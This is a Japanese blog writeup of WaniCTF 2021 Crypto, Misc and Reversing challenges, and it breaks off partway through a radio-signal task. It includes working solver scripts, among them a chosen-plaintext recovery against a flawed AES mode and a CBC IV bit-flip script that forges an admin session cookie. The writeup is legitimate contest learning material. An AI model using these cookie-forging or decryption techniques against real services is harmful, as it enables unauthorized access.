Writer:b1uef0x / Webページ建造途中
個人参加でCrypto,Misc,Reversingを完答した。最終13位。
What does the fox say?🦊
本CTFの導入というわけで( https://www.youtube.com/watch?v=jofNR_WkoCE )を垂れ流しながら解くことにした。
以下のPythonコードと出力結果が配布される。
flag = b"FAKE{REDACTED}"
def bytes_to_int(B: bytes):
X = 0
for b in B:
X <<= 8
X += b
return X
print(bytes_to_int(flag))
byteをintに変換する簡単な関数だ。Cryptoモジュールに相当するものはあるが、真面目に逆変換する関数を書いた。
encoded = 19116989514623535769166210117786818367158332986915210065591753844573169066323884981321863605962664727709419615399694310104576887228581060509732286555123028133634836954522269304382229987197
def int_to_bytes(I: int):
X = b''
while(I>0):
X = bytes([I % 0x100]) + X
I >>= 8
return X
print(int_to_bytes(encoded))
実行するとスピーカーから流れる奇声と共にflagが手に入る。
FLAG{R1ng_d1n9_ding_d1ng_ding3ring3ding?__Wa_p@_pa_p@_pa_p@_pow?__or_konko-n?}
🍡
XOR暗号化問題。次のPythonコードと出力結果が配布される。
chall.pyimport secrets
from functools import reduce
flag = b"FAKE{REDACTED}"
key = [secrets.token_bytes(len(flag)) for _ in range(3)]
def XOR(*X):
xor = lambda A, B: bytes(x ^ y for x, y in zip(A, B))
return reduce(xor, X)
ciphertext = XOR(flag, key[0])
A = XOR(key[0], key[1], key[2])
B = XOR(key[0], key[1])
C = XOR(key[1], key[2])
print(f"ciphertext : {ciphertext.hex()}")
print(f"A : {A.hex()}")
print(f"B : {B.hex()}")
print(f"C : {C.hex()}")
output.txtciphertext : bd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0
A : cae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359
B : e6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7
C : 319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4
XOR演算は同じもの同士を掛けると打ち消されるため、A,B,C,ciphertextをそれぞれXOR演算してflag以外を消せばよい。
from functools import reduce
def int_to_bytes(I: int):
X = b''
while(I>0):
X = bytes([I % 0x100]) + X
I >>= 8
return X
ciphertext = int_to_bytes(0xbd35b1c95ee9436db8fad5c3aa493660e606fa4dd7fe171aac75313c18ce5fcf86f0)
A = int_to_bytes(0xcae61858ee8c7198632c652fd8416092eb165e2f847f0ebd80637ed0ffd96c6e0359)
B = int_to_bytes(0xe6ed8bda14f67343d81830f0f2be3299a97b541db48cfa1873a13e8d774f1e243ce7)
C = int_to_bytes(0x319fe8d6cb01539bbcb9ef9f13663d8b6274c50b0ce578c94b7910b3ca785ccea8d4)
def XOR(*X):
xor = lambda A, B: bytes(x ^ y for x, y in zip(A, B))
return reduce(xor, X)
flag = XOR(ciphertext,XOR(B,XOR(C,XOR(A,B))))
print(flag)
FLAG{dango_sankyodai_dango__-ooo-}
🥠🍩🍪。
もはや問題文を掲載する意味はないようだ。次の問題文が書かれたテキストが配布される。
# Given:
# - An elliptic curve: y**2 = x**3 - x + 1 (mod p)
# - Two points: P(x_P, y_P) and Q(x_Q, y_Q)
# Find the point P+Q
# The flag is the x value of P+Q
# Don't forget to convert it into a string!
p = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb
x_P = 0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece
y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667
x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d
y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3
楕円曲線上における加法を計算する問題である。使えるコードを探したところ( https://paiza.hatenablog.com/entry/2018/05/25/Pythonを使って試す・Bitcoinの楕円曲線暗号で作られるアド )にいいものがあったので一部使わせていただいた。
sp = 0x89a4e2c7f834f5fbc6f2a314e373e3723de7df6283c5d97cbca509c61e02965b7ef96efce1d827bfdfa7f21d22803558bb549f9ea15dfe9f47d3976648c55feb
x_P = 0x1e1cba0e07c61cf88e9f23b9859093c33c26cf83bcfb6fe24d7559cd0ea86fb2f144ae643ac5edf6f04ef065dc7c2c18d88ae02843592d5e611029fefc0fece
y_P = 0x198420b30a4330f82380326895d0ac06a1859bc49d45cd4b08021b857d23d515163b9151fbaf7ae5f816d485d129d3b1c4630d1fb45c6790af551428a5c85667
x_Q = 0x7e32edfd7befd8df93d7b738d6a1c95e1cfd56b3a6ccc4a62e4e0ae9059b4903e71fccbe07d8d45c762b4a3ed5c9d1a2505043d033e58adb72191259b81bc47d
y_Q = 0x46016c676585feaf048fff9d5cbb45dbd598c6c4c81694e0881bf110b57012f0bac6eaf7376fee015c8cecba1fc92206ca346f7d72ee1d60f820091c85fa76b3
def int_to_bytes(I: int):
X = b''
while(I>0):
X = bytes([I % 0x100]) + X
I >>= 8
return X
def ec_add(p, q):
tmp = ( (q[1]-p[1]) * inv_mod(q[0]-p[0]) ) % sp
x = (tmp ** 2 - p[0] -q[0]) % sp
y = (tmp * (p[0] - x) - p[1]) % sp
return (x, y)
def inv_mod(a):
low, high = a % sp, sp
c0, c1 = 1, 0
while low > 1:
r = high // low
c2 = c1 - c0 * r
new = high - low * r
high = low
low = new
c1 = c0
c0 = c2
return c0 % sp
res = ec_add([x_P,y_P],[x_Q,y_Q])
print(int_to_bytes(res[0]))
FLAG{7h1s_curv3_alw@ys_r3m1nd5_me_0f_pucca}
AES-CBCか...って、あれ?
nc aesnoc.crypto.wanictf.org 50000
サーバーに接続して解く問題。サーバー上で動作している次のプログラムが配布される。
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.strxor import strxor
from secret import flag
class AESNOC:
def __init__(self, key: bytes, iv: bytes):
self.iv = iv
self.key = key
self.block_size = AES.block_size
def encrypt(self, plaintext: bytes):
cipher = AES.new(self.key, AES.MODE_ECB)
plaintext = pad(plaintext, self.block_size)
P = [
plaintext[i : i + self.block_size]
for i in range(0, len(plaintext), self.block_size)
]
C = []
P_prev = self.iv
for p in P:
c = cipher.encrypt(p)
C.append(strxor(c, P_prev))
P_prev = p
return b"".join(C)
def main():
key = os.urandom(16)
iv = os.urandom(16)
cipher = AESNOC(key, iv)
assert len(flag) == 49
assert flag.startswith(b"FLAG{")
assert flag.endswith(b"}")
iv = iv.hex()
print(f"{iv = }")
while True:
print("1. Get encrypted flag")
print("2. Encrypt")
choice = int(input("> "))
if choice == 1:
encrypted_flag = cipher.encrypt(flag).hex()
print(f"{encrypted_flag = }")
elif choice == 2:
plaintext = input("Plaintext [hex] > ")
plaintext = bytes.fromhex(plaintext)
ciphertext = cipher.encrypt(plaintext).hex()
print(f"{ciphertext = }")
else:
print("Bye")
break
if __name__ == "__main__":
main()
接続すると初期ベクトルivを教えてもらうことができ、flagを暗号化した文と、任意の平文を暗号化することができる。暗号鍵を知ることはできない。
AES.ECBの文字が見えるが、これはECBではなくCBCのような処理を直接記述している。ような、と書いたのはCBCではないからだ。
暗号利用モードCBCにおける暗号化は以下のような手順で行われる。
しかしこのプログラムでは以下のように、暗号文ではなく平文を使ってXORを行っている。
この平文を使ってXOR演算を行う処理を利用して平文を復元することが可能。
flagは49文字であるため、pad関数を実際に動作させると、padding後の文字列は次のようになっていることがわかる。
FLAG{*******************************************}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f
AES-128bitの最後のブロックは}\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f\x0f
で全文字列が判明している。このブロック単体の暗号文を得ることができれば、flagの3ブロック目の平文とXORされた後の暗号文とXOR演算することによって、平文を復元できる。
これは可能で、任意の平分を暗号化するコマンドを使って、16進数で00000000000000000000000000000000000000000000000000000000000000007d
を暗号化すれば、すべて0のXOR演算の結果は変わらないので、末尾に7d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
の暗号文が出力される。
例えば次のivとencrypted_flagが得られた時について、flagを求めてみよう。
iv = 1954976cdb11862d976390714215c124
encrypted_flag = e6585c8acd6f2a5a67dfddd8291d5552 381bfe6fbf1b9212e8bec37cffa252dd 75891f5bf2345129a70e4de00b1f659f 5c4a89c6a4ab0e2f1e0e299701d74ab7
flagと同じ長さのデータ、00000000000000000000000000000000000000000000000000000000000000007d
を暗号化すると、padding後のデータと暗号文は以下のようになる。
padding後の平文:
00000000000000000000000000000000000000000000000000000000000000007d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f
暗号文:
a76b0ec30a57f0b9557018cd1db0f3fbbe3f99afd1467694c21388bc5fa532df3915e5a791df514d723e4afc5e881588
4ブロック目はECBモードの出力に等しくなっている。
AES(7d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f)→3915e5a791df514d723e4afc5e881588
対してencrypted_flagの4ブロック目は次のように暗号化されている。
AES(7d0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f) xor (flagの3ブロック目)→5c4a89c6a4ab0e2f1e0e299701d74ab7
よって、3915e5a791df514d723e4afc5e881588
と5c4a89c6a4ab0e2f1e0e299701d74ab7
をXOR演算すればflagの3ブロック目が手に入る。
3915e5a791df514d723e4afc5e881588 xor 5c4a89c6a4ab0e2f1e0e299701d74ab7→655f6c6135745f626c30636b5f5f5f3f : e_la5t_bl0ck___?
flagの3ブロック目がわかったので、今度はこの3ブロック目の平文を使って同様の処理を行えば、2ブロック目を求めることができる。以下、結果。
入力:
0000000000000000000000000000000000000000000000000000000000000000655f6c6135745f626c30636b5f5f5f3f
暗号文:
a76b0ec30a57f0b9557018cd1db0f3fbbe3f99afd1467694c21388bc5fa532df51d62e3dad4d615cf86523d07c4011f7dcc1d7a137bacac85c7f22c9baa7876d
51d62e3dad4d615cf86523d07c4011f7 xor 75891f5bf2345129a70e4de00b1f659f → 245f31665f7930755f6b6e30775f7468 : $_1f_y0u_kn0w_th
入力:
0000000000000000000000000000000000000000000000000000000000000000245f31665f7930755f6b6e30775f7468
暗号文:
a76b0ec30a57f0b9557018cd1db0f3fbbe3f99afd1467694c21388bc5fa532df7e57bf28c44cfa26dfe1ab488fd261b39dc18aa65db7a5df6f242f9292a7ac3a
7e57bf28c44cfa26dfe1ab488fd261b3 xor 381bfe6fbf1b9212e8bec37cffa252dd → 464c41477b576834375f68347070336e : FLAG{Wh47_h4pp3n
FLAG{Wh47_h4pp3n$_1f_y0u_kn0w_the_la5t_bl0ck___?}
🚩🤵
https://service.crypto.wanictf.org
Welcome to Flag Serviceのログインページが表示され、適当な名前でログインできる。サーバー側のコードは一通り配布されている。
app.pyfrom cipher import AESCBC
from flask import Flask, redirect, render_template, request
from secret import flag
app = Flask(__name__)
cipher = AESCBC()
@app.route("/")
def index():
try:
token = request.cookies.get("token")
session = cipher.decrypt(token)
return render_template("index.html", session=session, flag=flag)
except Exception:
pass
return render_template("index.html")
@app.route("/login", methods=["POST"])
def login():
username = request.form.get("username")
session = {"admin": False, "username": username}
token = cipher.encrypt(session)
response = redirect("/")
response.set_cookie("token", token)
return response
@app.route("/logout", methods=["POST"])
def logout():
response = redirect("/")
response.set_cookie("token", expires=0)
return response
if __name__ == "__main__":
app.run()
app.pyを読むと、login()でログインすると{"admin": False, "username": username}
のデータがsessionとしてセットされ、これを暗号化した結果をCookieに設定している。
index()でページを表示させたときには、Cookieを読んで復号化したsessionを渡している。ページ側は以下の通り。
index.html<!doctype html>
<html lang="en">
<head>
<title>Flag Service</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css" integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
</head>
<body>
<div class="container">
<h1 class="display-4">Welcome to Flag Service</h1>
<p class="lead">
Hi! Welcome to Flag Service.
You must be an admin to enjoy our "special" service.
</p>
{% if session %}
<p class="lead">
Welcome, {{ session['username'] }}.
{% if session['admin'] %}
Here is special service!! <kbd>{{ flag }}</kbd>.
{% else %}
Hmm.. You're not admin :(
{% endif %}
</p>
<form method="post" action="/logout">
<button type="submit" class="btn btn-primary mb-2">Logout</button>
</form>
{% else %}
<form class="form-inline" method="post" action="/login">
<div class="form-group mb-2">
<label for="username" class="sr-only">Username</label>
<input type="text" class="form-control" id="username" name="username" placeholder="Username" data-bv-notempty-message="The username is required" required >
</div>
<button type="submit" class="btn btn-primary mb-2">Submit</button>
</form>
{% endif %}
</div>
</body>
</html>
ページ側ではsessionを読んで、admin:Trueになっていればflagを表示してくれる。adminをTrueにするコードは存在せず、この問題はWebではなくCryptoであるので、暗号化されたsessionを改ざんしてTrueに変更する必要がある。
暗号化部分は次の通り。
cipher.pyimport base64
import json
import os
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
class AESCBC:
def __init__(self):
self.key = os.urandom(16)
def encrypt(self, data: str):
cipher = AES.new(self.key, AES.MODE_CBC)
iv = cipher.iv
data = json.dumps(data)
ciphertext = cipher.encrypt(pad(data.encode(), AES.block_size))
token = base64.b64encode(iv + ciphertext)
return token
def decrypt(self, token: bytes):
token = base64.b64decode(token)
iv, ciphertext = token[: AES.block_size], token[AES.block_size :]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size)
data = json.loads(plaintext)
return data
AES-CBCを使っており、CBCビットフリップ攻撃が使える。方法は以前LINE CTFのCRY - babycrypto2でやったものと全く一緒になる。
CBCモードでの復号化は、1ブロック目についてはAES復号化したデータに初期ベクトルIVをXOR演算した結果を平文として出力する。初期ベクトルIVは暗号文の先頭にそのまま与えられており、IVを改ざんすることで暗号文に関わらず平文を変更することができる。
1ブロック目の平文は{"admin": False,
になるので、これを{"admin": True ,
に改ざんする初期ベクトルIVを計算するpythonコードを書いた。
import base64
ciphertext = base64.b64decode("iziK+BHecpawxSIXQEq3u8vXSIAjKfQsghAkFvRJ9CoafhtlxlaJrA8Bk1ISq0RwfB3MIT3Yxhj/1RzEmRFpHg==")
iv = ciphertext[0:16]
plaintexthead1 = b'{"admin": False,'
plaintexthead2 = b'{"admin": True ,'
new_iv = b''
for i in range(16):
new_iv += (iv[i]^plaintexthead1[i]^plaintexthead2[i]).to_bytes(1, byteorder="little")
new_ciphertext = new_iv + ciphertext[16:]
print(base64.b64encode(new_ciphertext))
(復号データ) xor 元の初期ベクトル → 元の平文
なので、元の平文 xor 元の初期ベクトル
を計算すれば(復号データ)を得ることができる。(復号データ) xor 改ざん初期ベクトル → 改ざん平文
から、(復号データ) xor 改ざん平文
で改ざん初期ベクトルを得ることができる。つまり元の初期ベクトルと元の平文と改ざんしたい平文を全部XOR演算すれば欲しい初期ベクトルが手に入る。
プログラムを実行して得られるbase64文字列をCookieに上書きしてページを表示させるとAdminでログインした状態になり、flagを入手。
FLAG{Fl1p_Flip_Fl1p_Flip_Fl1p____voila!!}
超人気ゲームをみんなでプレイしよう!
FPSゲームでは銃を連射するためにマウスを高速クリックする技術が求められる。CTFにおいても同様で、配布された動画を停止と再生ボタンの高速クリックにてflagが映ったフレームで止めることができれば何ということはない。
FLAG{Stand_tall_We_are_Valorant_We_are_fighters!}
新しくUSBを買ったのでたくさんパーティションを作ってみました!
イメージファイルが配布されるので、FTK Imagerで開いてパーティション3のroot直下を見ると、テキストファイル内に「The "partition01" FLAG is the name of the 3rd partition!」と書かれている。パーティション3の名前をバイナリ上で確認するとflagが見つかる。
FLAG{GPT03}
妖怪からのメッセージです.
音量注意!
雑音しか聴こえないwaveファイルが配布される。waveファイルをAudacityで読み込んでスペクトログラム表示にするとFLAGが現れる。
FLAG{Messages_du_spectre}
FLAG01とFLAG02にflag画像を分割して入れておきました.
添付のファイルは"partition01"と同じものです.
partition01で配布されたイメージファイルを引き続き使用する。パーティション5と7にflag01.pngとflag02.pngが入っているのでFTKで抽出した。
抽出した2つの画像を適当にコマンドプロンプトから、copy /b flag01.png + flag02.png flag.png
で1つのファイルに結合するとflagが出てくる。
FLAG{you_found_flag_in_FLAGs}
お前...pngか...?
FLAGの中身はすべて小文字です.
MP3と描かれたPNGファイルが配布される。これは不思議なファイルで、ファイルヘッダをMP3のTAG
に変更すると音声ファイルとして再生することができる。音声を聴き取るとflagになる。
FLAG{thisismpng3}
- 無線通信問題1問目です。
- 文字も所詮1と0の集合です。
- sample.pyを参考に復号器を作ってみてください。
- binary.csvは1列目が時刻、2列目がON-OFFの信号を表しています。
- ASK、ASK over the airと進む中で無線通信の面白さが伝われば...と思っています。
- 「binary」はWaniCTF 2021-springとほぼ同じ問題なのでハードルが高いと感じる人は、「WaniCTF 2021-spring binary writeup」でぐぐりつつ解いてみてください。
無線通信を題材にした問題。次のような形式でビット列が含まれる時系列データが配布される。
time,signal
0.000000 ,0
0.000004 ,1
0.000008 ,0
0.000012 ,0
0.000016 ,0
0.000020 ,1
0.000024 ,1
0.000028 ,0
0.000032 ,0
0.000036 ,1
0.000040 ,0
0.000044 ,0
0.000048 ,1
0.000052 ,1
0.000056 ,0
0.000060 ,0
0.000064 ,0
0.000068 ,1
0.000072 ,0
0.000076 ,0
0.000080 ,0
0.000084 ,0
0.000088 ,0
0.000092 ,1
0.000096 ,0
邪悪だけどJavaScriptで処理した。1バイトのASCIIコードを8ビットにして流しているから、戻せばよい。
<pre id="input">0.000000 ,0
0.000004 ,1
0.000008 ,0
0.000012 ,0
0.000016 ,0
0.000020 ,1
0.000024 ,1
0.000028 ,0
0.000032 ,0
0.000036 ,1
0.000040 ,0
0.000044 ,0
0.000048 ,1
0.000052 ,1
0.000056 ,0
0.000060 ,0
0.000064 ,0
0.000068 ,1
0.000072 ,0
0.000076 ,0
0.000080 ,0
0.000084 ,0
0.000088 ,0
0.000092 ,1
0.000096 ,0
0.000100 ,1
0.000104 ,0
0.000108 ,0
0.000112 ,0
0.000116 ,1
0.000120 ,1
0.000124 ,1
0.000128 ,0
0.000132 ,1
0.000136 ,1
0.000140 ,1
0.000144 ,1
0.000148 ,0
0.000152 ,1
0.000156 ,1
0.000160 ,0
0.000164 ,1
0.000168 ,1
0.000172 ,0
0.000176 ,0
0.000180 ,0
0.000184 ,1
0.000188 ,0
0.000192 ,0
0.000196 ,1
0.000200 ,1
0.000204 ,0
0.000208 ,1
0.000212 ,0
0.000216 ,0
0.000220 ,1
0.000224 ,0
0.000228 ,1
0.000232 ,1
0.000236 ,0
0.000240 ,1
0.000244 ,1
0.000248 ,1
0.000252 ,0
0.000256 ,0
0.000260 ,1
0.000264 ,1
0.000268 ,0
0.000272 ,0
0.000276 ,0
0.000280 ,0
0.000284 ,1
0.000288 ,0
0.000292 ,1
0.000296 ,1
0.000300 ,1
0.000304 ,0
0.000308 ,0
0.000312 ,1
0.000316 ,0
0.000320 ,0
0.000324 ,1
0.000328 ,1
0.000332 ,1
0.000336 ,1
0.000340 ,0
0.000344 ,0
0.000348 ,1
0.000352 ,0
0.000356 ,0
0.000360 ,1
0.000364 ,0
0.000368 ,1
0.000372 ,1
0.000376 ,0
0.000380 ,1
0.000384 ,0
0.000388 ,1
0.000392 ,1
0.000396 ,0
0.000400 ,1
0.000404 ,0
0.000408 ,0
0.000412 ,1
0.000416 ,0
0.000420 ,1
0.000424 ,1
0.000428 ,1
0.000432 ,0
0.000436 ,0
0.000440 ,1
0.000444 ,1
0.000448 ,0
0.000452 ,0
0.000456 ,1
0.000460 ,0
0.000464 ,1
0.000468 ,1
0.000472 ,0
0.000476 ,1
0.000480 ,0
0.000484 ,1
0.000488 ,1
0.000492 ,0
0.000496 ,0
0.000500 ,1
0.000504 ,0
0.000508 ,1
0.000512 ,0
0.000516 ,1
0.000520 ,1
0.000524 ,1
0.000528 ,0
0.000532 ,0
0.000536 ,1
0.000540 ,1
0.000544 ,0
0.000548 ,1
0.000552 ,1
0.000556 ,1
0.000560 ,0
0.000564 ,0
0.000568 ,1
0.000572 ,1
0.000576 ,0
0.000580 ,1
0.000584 ,1
0.000588 ,0
0.000592 ,0
0.000596 ,1
0.000600 ,0
0.000604 ,1
0.000608 ,0
0.000612 ,1
0.000616 ,1
0.000620 ,0
0.000624 ,1
0.000628 ,1
0.000632 ,1
0.000636 ,0
0.000640 ,0
0.000644 ,1
0.000648 ,1
0.000652 ,1
0.000656 ,0
0.000660 ,1
0.000664 ,0
0.000668 ,0
0.000672 ,0
0.000676 ,1
0.000680 ,1
0.000684 ,0
0.000688 ,1
0.000692 ,0
0.000696 ,0
0.000700 ,1
0.000704 ,0
0.000708 ,1
0.000712 ,1
0.000716 ,0
0.000720 ,0
0.000724 ,0
0.000728 ,0
0.000732 ,1
0.000736 ,0
0.000740 ,1
0.000744 ,1
0.000748 ,0
0.000752 ,1
0.000756 ,1
0.000760 ,0
0.000764 ,0
0.000768 ,0
0.000772 ,0
0.000776 ,1
0.000780 ,0
0.000784 ,1
0.000788 ,1
0.000792 ,0
0.000796 ,1
0.000800 ,0
0.000804 ,1
0.000808 ,1
0.000812 ,0
0.000816 ,0
0.000820 ,1
0.000824 ,1
0.000828 ,0
0.000832 ,0
0.000836 ,1
0.000840 ,1
0.000844 ,0
0.000848 ,1
0.000852 ,1
0.000856 ,1
0.000860 ,1
0.000864 ,0
0.000868 ,1
0.000872 ,1
0.000876 ,1
0.000880 ,0
0.000884 ,0
0.000888 ,1
0.000892 ,0
0.000896 ,0
0.000900 ,0
0.000904 ,1
0.000908 ,0
0.000912 ,1
0.000916 ,1
0.000920 ,0
0.000924 ,1
0.000928 ,0
0.000932 ,1
0.000936 ,1
0.000940 ,0
0.000944 ,0
0.000948 ,0
0.000952 ,1
0.000956 ,1
0.000960 ,0
0.000964 ,1
0.000968 ,1
0.000972 ,0
0.000976 ,1
0.000980 ,1
0.000984 ,1
0.000988 ,1
0.000992 ,0
0.000996 ,1
0.001000 ,1
0.001004 ,0
0.001008 ,1
0.001012 ,1
0.001016 ,0
0.001020 ,1
0.001024 ,0
0.001028 ,1
0.001032 ,1
0.001036 ,0
0.001040 ,1
0.001044 ,1
0.001048 ,0
0.001052 ,1
0.001056 ,0
0.001060 ,1
0.001064 ,1
0.001068 ,1
0.001072 ,0
0.001076 ,1
0.001080 ,0
0.001084 ,1
0.001088 ,0
0.001092 ,1
0.001096 ,1
0.001100 ,0
0.001104 ,1
0.001108 ,1
0.001112 ,1
0.001116 ,0
0.001120 ,0
0.001124 ,1
0.001128 ,1
0.001132 ,0
0.001136 ,1
0.001140 ,0
0.001144 ,0
0.001148 ,1
0.001152 ,0
0.001156 ,1
0.001160 ,1
0.001164 ,0
0.001168 ,0
0.001172 ,0
0.001176 ,1
0.001180 ,1
0.001184 ,0
0.001188 ,1
0.001192 ,1
0.001196 ,0
0.001200 ,0
0.001204 ,0
0.001208 ,0
0.001212 ,1
0.001216 ,0
0.001220 ,1
0.001224 ,1
0.001228 ,1
0.001232 ,0
0.001236 ,1
0.001240 ,0
0.001244 ,0
0.001248 ,0
0.001252 ,1
0.001256 ,1
0.001260 ,0
0.001264 ,1
0.001268 ,0
0.001272 ,0
0.001276 ,1
0.001280 ,0
0.001284 ,1
0.001288 ,1
0.001292 ,0
0.001296 ,1
0.001300 ,1
0.001304 ,1
0.001308 ,1
0.001312 ,0
0.001316 ,1
0.001320 ,1
0.001324 ,0
0.001328 ,1
0.001332 ,1
0.001336 ,1
0.001340 ,0
0.001344 ,0
0.001348 ,1
0.001352 ,1
0.001356 ,1
0.001360 ,1
0.001364 ,1
0.001368 ,0
0.001372 ,1
0.001376 ,0
0.001380 ,0
0.001384 ,0
0.001388 ,0
0.001392 ,1
0.001396 ,0
0.001400 ,1
0.001404 ,0</pre>
<script>
var inputs = document.getElementById("input").innerHTML.split("\n");
j = 0;
tmp = 0;
str = "";
for(i=0; i<inputs.length; i++) {
tmp += (inputs[i].split(",")[1]==1)? Math.pow(2,7-j) : 0;
j++;
if(j==8) {
str += String.fromCharCode(tmp);
tmp = 0;
j = 0;
}
}
document.write(str);
</script>
FLAG{binary-is-essential-for-communication}
Dockerの中に入ってsolverを実行してください。
- Install Docker !
- 与えられたDockerfileでDockerをbuildしてください
- dockerのなかに/bin/shを実行して入ってください
- /bin/bashでエラーがでる場合は/bin/shです。
- solverを実行してください
Dockerは個人の環境に関係なく同じ環境を構築するために使われます。
一部のpwn問題は問題サーバー構築に使ったDockerfileを一緒に提供しています。
ローカルで動いてリモートで動かない場合はDockerを使って確認しましょう!
DockerfileとLinux用実行ファイルのsolverが配布される。
Linux環境でDockerfileをbuildして実行させればsolverを正しく実行させてflagが得られる。
******@******************:******/wani2021/docker$ sudo docker image build -t wani/docker ./
Sending build context to Docker daemon 21.5kB
Step 1/6 : FROM alpine:3.14
3.14: Pulling from library/alpine
a0d0a0d46f8b: Pull complete
Digest: sha256:e1c082e3d3c45cccac829840a25941e679c25d438cc8412c2fa221cf1a824e6a
Status: Downloaded newer image for alpine:3.14
---> 14119a10abf4
Step 2/6 : WORKDIR /home/misc
---> Running in 42feac959db1
Removing intermediate container 42feac959db1
---> 361d1170ef8e
Step 3/6 : ADD ./solver /home/misc/solver
---> 7ef2fcfc7200
Step 4/6 : RUN chmod 550 /home/misc/solver
---> Running in 536a756f5246
Removing intermediate container 536a756f5246
---> 4919cf2becb1
Step 5/6 : RUN apk add libc6-compat
---> Running in e9f8acfcc3ca
fetch https://dl-cdn.alpinelinux.org/alpine/v3.14/main/x86_64/APKINDEX.tar.gz
fetch https://dl-cdn.alpinelinux.org/alpine/v3.14/community/x86_64/APKINDEX.tar.gz
(1/1) Installing libc6-compat (1.2.2-r3)
OK: 6 MiB in 15 packages
Removing intermediate container e9f8acfcc3ca
---> 5a16a6debcab
Step 6/6 : RUN ls /home/misc -lh
---> Running in 605527be5423
total 16K
-r-xr-x--- 1 root root 14.1K Nov 6 12:49 solver
Removing intermediate container 605527be5423
---> dad45c2da876
Successfully built dad45c2da876
Successfully tagged wani/docker:latest
******@******************:******/wani2021/docker$ sudo docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
wani/docker latest dad45c2da876 16 seconds ago 7.79MB
alpine 3.14 14119a10abf4 2 months ago 5.59MB
******@******************:******/wani2021/docker$ sudo docker run -it wani/docker
/home/misc # ls
solver
/home/misc # ./solver
musl libc (x86_64)
Version 1.2.2
Dynamic Program Loader
Usage: /lib/ld-musl-x86_64.so.1 [options] [--] pathname
FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}/home/misc #
FLAG{y0u_Kn0W_H0w_to_Get_1nto_7he_DockeR}
写真の場所に行きたいので、最寄り駅を教えてください。
ヘボン式
ex) 東京駅 → FLAG{tokyoeki},新大阪駅 → FLAG{shinosakaeki}
どこかの写真が配布され、最寄り駅を見つける問題。OSINT問である。
駅前商店街の奥の方の看板を拡大すると店の名前っぽいのが映っている。
「駅前商店街 さくら」でGoogle検索してそれっぽい画像を探すと、広島県尾道市東御所町の尾道駅がヒットした。
FLAG{onomichieki}
- 無線通信問題2問目です。
- WaniCTF 2021-springとほぼ同じ問題です。
- この後の「ASK over the air」に関わるので以下の情報を意識して解いてみて下さい。
- 無線通信のフレームフォーマット
- preambleは10を16回繰り返した0xAAAAAAAA
- start frame delimiter (SFD)は0xE5
- 実務では↑の情報もブラインドで解析することが多いです。
binaryの続編、同じフォーマットで冗長なデータが配布される。16行ごとにデータが変化しているので、16行を1つにまとめてASCIIコードに変換するJavaScriptで解決した。
<pre id="input">0.000000 ,0
0.000004 ,0
0.000008 ,0
0.000012 ,0
0.000016 ,0
0.000020 ,0
0.000024 ,0
0.000028 ,0
0.000032 ,0
0.000036 ,0
0.000040 ,0
0.000044 ,0
0.000048 ,0
0.000052 ,0
(省略)
0.380096 ,0
0.380100 ,0
0.380104 ,0
0.380108 ,0
0.380112 ,0
0.380116 ,0
0.380120 ,0
0.380124 ,0
0.380128 ,0
0.380132 ,0
0.380136 ,0
0.380140 ,0
0.380144 ,0
0.380148 ,0
0.380152 ,0
0.380156 ,0</pre>
<pre>
<script>
var inputs = document.getElementById("input").innerHTML.split("\n");
bits = "";
for(i=0; i<inputs.length; i+=16)bits += inputs[i].split(",")[1];
j = 0;
tmp = 0;
str = "";
for(i=0; i<bits.length; i++) {
tmp += (bits.charAt(i)==1)? Math.pow(2,7-j) : 0;
j++;
if(j==8) {
str += String.fromCharCode(tmp);
tmp = 0;
j = 0;
}
}
document.write(str);
</script>
</pre>
出てくるデータはASCIIコードじゃない部分も多いが、少なくともペイロード部分はASCIIなのでflagが出る。
FLAG{please-understand-frame-format-of-wireless-communication}
- 無線通信問題3問目です。
- ASK変調したデータを電波で飛ばしてUSRPでキャプチャしたデータです。
- フレームフォーマットはdigital ASKと同じです。
- I信号とQ信号に分かれているところが若干トリッキーですが、digital ASKが解けたなら行けるはず...
- 実機使ったので謎のパルスノイズが乗っていますが、無視してください。
digital ASKの続編、同じフォーマットで冗長かつノイズが乗ったデータが配布される。どんな様子になっているのか簡単にExcelでグラフにしてみよう。
